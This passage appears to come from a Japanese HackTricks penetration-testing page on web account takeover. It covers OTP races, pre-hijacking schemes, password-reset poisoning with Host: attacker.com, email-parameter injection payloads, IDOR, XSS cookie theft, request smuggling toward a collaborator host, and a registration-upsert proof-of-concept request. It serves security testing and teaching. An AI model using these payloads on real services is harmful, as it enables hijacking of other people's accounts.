def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- 検証のレースを試す: 同じ有効な OTP を 2 つのセッションで同時に送信する；時に一方のセッションが攻撃者の検証済みアカウントになり、被害者側のフローも成功することがある。
- また、verification リンク上で Host header poisoning をテストして、攻撃者が制御するホストへの leak やそこでの検証完了が発生するか確認する。

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (被害者がサインアップする前)

攻撃者が被害者のメール上で被害者がアカウントを作成する前に操作を行い、後でアクセスを取り戻すような強力な問題群が存在する。

Key techniques to test (ターゲットのフローに合わせて適用):

- Classic–Federated Merge
  - 攻撃者: 被害者のメールで classic アカウントを登録し、パスワードを設定する
  - 被害者: 後で SSO（同じメール）でサインアップする
  - 不適切なマージにより両者がログイン状態のままになったり、攻撃者のアクセスが復活することがある
- Unexpired Session Identifier
  - 攻撃者: アカウントを作成し、長期間有効なセッションを維持する（ログアウトしない）
  - 被害者: アカウントをリカバー／パスワードを設定して使用する
  - リセットや MFA 有効化後に古いセッションが有効なままかどうかをテストする
- Trojan Identifier
  - 攻撃者: 事前作成したアカウントに二次識別子を追加する（電話、追加のメール、あるいは攻撃者の IdP をリンク）
  - 被害者: パスワードをリセットする；攻撃者は後で trojan identifier を使ってリセット／ログインする
- Unexpired Email Change
  - 攻撃者: email-change を攻撃者のメールアドレスに開始し、確認を保留する
  - 被害者: アカウントを回復して使用し始める
  - 攻撃者: 後で保留中の email-change を完了してアカウントを盗む
- Non‑Verifying IdP
  - 攻撃者: メール所有権を検証しない IdP を使って `victim@…` を主張する
  - 被害者: classic 経路でサインアップする
  - サービスが `email_verified` をチェックせずにメールでマージする、またはローカル検証を行わない

実践的なヒント

- web/mobile バンドルからフローとエンドポイントを収集する。classic signup、SSO linking、email/phone change、password reset のエンドポイントを探す。
- 他のフローを試している間にセッションを維持するための現実的な自動化を作る。
- SSO テストでは、テスト用の OIDC provider を立てて、被害者アドレスの `email` クレームと `email_verified=false` を持つトークンを発行し、RP が未検証の IdP を信頼するか確認する。
- いかなる password reset や email change の後も、以下を確認する:
- 他のすべてのセッションとトークンが無効化されていること、
- 保留中の email/phone 変更機能がキャンセルされていること、
- 以前にリンクされていた IdPs／emails／phones が再検証されていること。

Note: これらの手法の詳細な方法論とケーススタディは Microsoft の pre‑hijacking research によって文書化されている（参照は末尾の References を参照）。

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. 自分のメールアドレスに対して password reset をリクエストする
2. password reset リンクをクリックする
3. パスワードは変更しない
4. 任意の 3rd party websites（例: Facebook, twitter）をクリックする
5. Burp Suite proxy でリクエストをインターセプトする
6. referer header が password reset token を leak していないか確認する。

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Burp Suite で password reset リクエストをインターセプトする
2. Burp Suite で以下のヘッダを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 修正したヘッダでリクエストを転送する\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _host header_ に基づいた password reset URL が `https://attacker.com/reset-password.php?token=TOKEN` のように生成されていないか確認する

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

1. 攻撃者は自分のアカウントでログインし、Change password 機能に移動する必要がある。
2. Burp Suite を起動してリクエストをインターセプトする
3. repeaterタブに送信し、パラメータを編集：User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

password reset token はランダムに生成され、毎回ユニークであるべきです。
token が期限切れになるか常に同じかを確認してください。場合によっては生成アルゴリズムが弱く、推測可能なことがあります。以下の変数がアルゴリズムで使われる可能性があります。

• Timestamp
• UserID
• Email of User
• Firstname and Lastname
• Date of Birth
• Cryptography
• Number only
• Small token sequence ( characters between [A-Z,a-z,0-9])
• Token reuse
• Token expiration date

Leaking Password Reset Token

1. 特定のメール（例: test@mail.com）に対してAPI/UIを使ってpassword reset requestをトリガーする
2. サーバーのレスポンスを確認し、resetToken を探す
3. その後、トークンを以下のようなURLで使用する: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

1. 被害者のusernameと同一だが、username の前後に空白を挿入した username でシステムに登録する。例: "admin "
2. 自分の悪意のある username で password reset をリクエストする。
3. 自分のメールに送られたトークンを使って被害者のパスワードをリセットする。
4. 新しいパスワードで被害者のアカウントにログインする。

CTFd プラットフォームはこの攻撃に脆弱でした。
参照: CVE-2020-7245

Account Takeover Via Cross Site Scripting

1. アプリケーション内、または cookies が親ドメインにスコープされているサブドメイン内で XSS を見つける: *.domain.com
2. 現在の sessions cookie をLeakする
3. その cookie を使ってユーザーとして認証する

Account Takeover Via HTTP Request Smuggling

1. smuggler を使用して HTTP Request Smuggling のタイプ (CL, TE, CL.TE) を検出する
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. 次に POST / HTTP/1.1 を以下のデータで上書きするリクエストを作成する:
   GET http://something.burpcollaborator.net HTTP/1.1 X: 目的は被害者を burpcollab へ open redirect で誘導し、cookies を盗むこと
3. 最終的なリクエストは以下のようになるかもしれない

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone はこのバグを悪用した報告をしています\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

CSRF を利用したアカウント乗っ取り

1. CSRF 用のペイロードを作成する。例: “HTML form with auto submit for a password change”
2. ペイロードを送信する

JWT を利用したアカウント乗っ取り

JSON Web Token がユーザ認証に使われている可能性がある。

• JWT を別の User ID / Email に編集する
• 弱い JWT 署名をチェックする

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

一部のサインアップハンドラは、提供された email が既に存在する場合に upsert を行うことがある。エンドポイントが email と password を含む最小限の body を受け入れ、所有権の検証を強制しない場合、被害者の email を送信することで認証前にその password を上書きできる。

• 発見: bundled JS（または mobile app トラフィック）から endpoint 名を収集し、その後 ffuf/dirsearch を使って /parents/application/v4/admin/FUZZ のような base paths を fuzz する。
• 方法のヒント: GET が “Only POST request is allowed.” のようなメッセージを返す場合、正しい動詞が POST であり JSON body が期待されていることを示すことが多い。
• 実際に観測された最小限の body:

{"email":"victim@example.com","password":"New@12345"}

PoCの例:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

影響: リセットトークン、OTP、またはメール確認なしでの完全なアカウント乗っ取り (ATO)。

参考資料

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

• サブスクリプションプランを確認してください！
• **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
• HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。